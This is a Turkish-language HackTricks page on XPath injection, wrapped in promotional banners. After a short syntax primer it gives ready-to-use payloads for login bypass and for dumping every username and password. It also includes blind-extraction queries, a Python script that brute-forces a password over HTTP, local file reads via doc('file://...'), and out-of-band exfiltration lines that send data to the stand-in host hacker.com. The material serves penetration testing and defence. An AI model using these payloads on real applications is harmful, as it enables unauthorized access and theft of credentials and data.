14 KiB
XPATH enjeksiyonu
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Bize katılın 💬 Discord grubunda veya telegram grubunda veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!
Hacking İçgörüleri
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin
Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
En Son Duyurular
Başlatılan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
Bize katılın Discord ve bugün en iyi hackerlarla işbirliğine başlayın!
Temel Sözdizimi
XPath Enjeksiyonu olarak bilinen bir saldırı tekniği, XPath (XML Yol Dili) sorgularını kullanıcı girdilerine dayalı olarak oluşturan uygulamalardan faydalanmak için kullanılır.
Tanımlanan Düğümler
XML belgesinde çeşitli düğümleri seçmek için ifadeler kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir:
- nodename: "nodename" adındaki tüm düğümler seçilir.
- /: Seçim kök düğümden yapılır.
- //: Mevcut düğümdeki seçime uyan düğümler seçilir, konumlarına bakılmaksızın.
- .: Mevcut düğüm seçilir.
- ..: Mevcut düğümün üst düğümü seçilir.
- @: Öznitelikler seçilir.
XPath Örnekleri
Yol ifadeleri ve sonuçlarına ilişkin örnekler şunları içerir:
- bookstore: "bookstore" adındaki tüm düğümler seçilir.
- /bookstore: Kök öğe bookstore seçilir. Bir öğenin mutlak yolunu temsil eden yol, bir eğik çizgi (/) ile başlayan bir yol ile temsil edilir.
- bookstore/book: bookstore'un çocukları olan tüm kitap öğeleri seçilir.
- //book: Belgedeki tüm kitap öğeleri seçilir, konumlarına bakılmaksızın.
- bookstore//book: bookstore öğesinin alt öğeleri olan tüm kitap öğeleri seçilir, konumlarına bakılmaksızın.
- //@lang: lang adında tüm öznitelikler seçilir.
Predicat'lerin Kullanımı
Seçimleri daraltmak için Predicat'ler kullanılır:
- /bookstore/book[1]: bookstore öğesinin ilk kitap öğesi çocuğu seçilir. IE sürümleri 5 ila 9 için bir çözüm, ilk düğümü [0] olarak dizinleyen SelectionLanguage'in JavaScript aracılığıyla XPath olarak ayarlanmasıdır.
- /bookstore/book[last()]: bookstore öğesinin son kitap öğesi çocuğu seçilir.
- /bookstore/book[last()-1]: bookstore öğesinin sondan bir önceki kitap öğesi çocuğu seçilir.
- /bookstore/book[position()<3]: bookstore öğesinin ilk iki kitap öğesi çocuğu seçilir.
- //title[@lang]: lang özniteliğine sahip tüm başlık öğeleri seçilir.
- //title[@lang='en']: "lang" özniteliği değeri "en" olan tüm başlık öğeleri seçilir.
- /bookstore/book[price>35.00]: 35.00'den büyük bir fiyata sahip bookstore'un tüm kitap öğeleri seçilir.
- /bookstore/book[price>35.00]/title: 35.00'den büyük bir fiyata sahip bookstore'un kitap öğelerinin tüm başlık öğeleri seçilir.
Bilinmeyen Düğümlerin İşlenmesi
Bilinmeyen düğümleri eşleştirmek için joker karakterler kullanılır:
- *: Herhangi bir öğe düğümüyle eşleşir.
- @*: Herhangi bir öznitelik düğümüyle eşleşir.
- node(): Herhangi bir türdeki herhangi bir düğümle eşleşir.
Diğer örnekler şunları içerir:
- /bookstore/*: bookstore öğesinin tüm çocuk öğe düğümlerini seçer.
- //*: Belgedeki tüm öğeleri seçer.
- //title[@*]: Herhangi bir türde en az bir özniteliğe sahip tüm başlık öğelerini seçer.
Örnek
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Bilgilere Erişim
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Şema Tanımlama ve Çalma
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Kimlik Doğrulama Atlatma
Sorguların Örneği:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
Kullanıcı adı ve şifrede OR atlatma (her ikisi de aynı değerde)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Null enjeksiyonunu kötüye kullanma
Username: ' or 1]%00
Kullanıcı adında veya şifrede Çift VEYA (yalnızca 1 zayıf alanla geçerlidir)
ÖNEMLİ: "ve" işleminin ilk olarak yapıldığına dikkat edin.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Dize çıkarma
Çıktı dizeler içerir ve kullanıcı değerleri aramak için manipüle edebilir:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Kör Saldırı
Bir değerin uzunluğunu alın ve karşılaştırmalarla çıkarın:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Python Örneği
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Dosya okuma
XPath enjeksiyonu, hedef web uygulamasında XML tabanlı verileri sorgulamak için kullanılan XPath dilindeki güvenlik açıklarını sömürmek için kullanılır. XPath enjeksiyonu saldırganın hedef web uygulamasında istenmeyen verilere erişmesine ve hatta veritabanı sorgularını manipüle etmesine olanak tanır. Bu saldırı türü genellikle web formu alanlarına veya URL parametrelerine kötü niyetli XPath ifadeleri enjekte edilerek gerçekleştirilir.
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB Sömürüsü
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Otomatik araç
Referanslar
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
HackenProof Discord sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişim kurun!
Hacking İçgörüleri
Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin
Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
En Son Duyurular
Yeni ödül avcılıkları başlatıldığında ve önemli platform güncellemeleri olduğunda bilgilendirilin
Bize Katılın Discord ve bugün en iyi hackerlarla işbirliğine başlayın!
Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.**
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.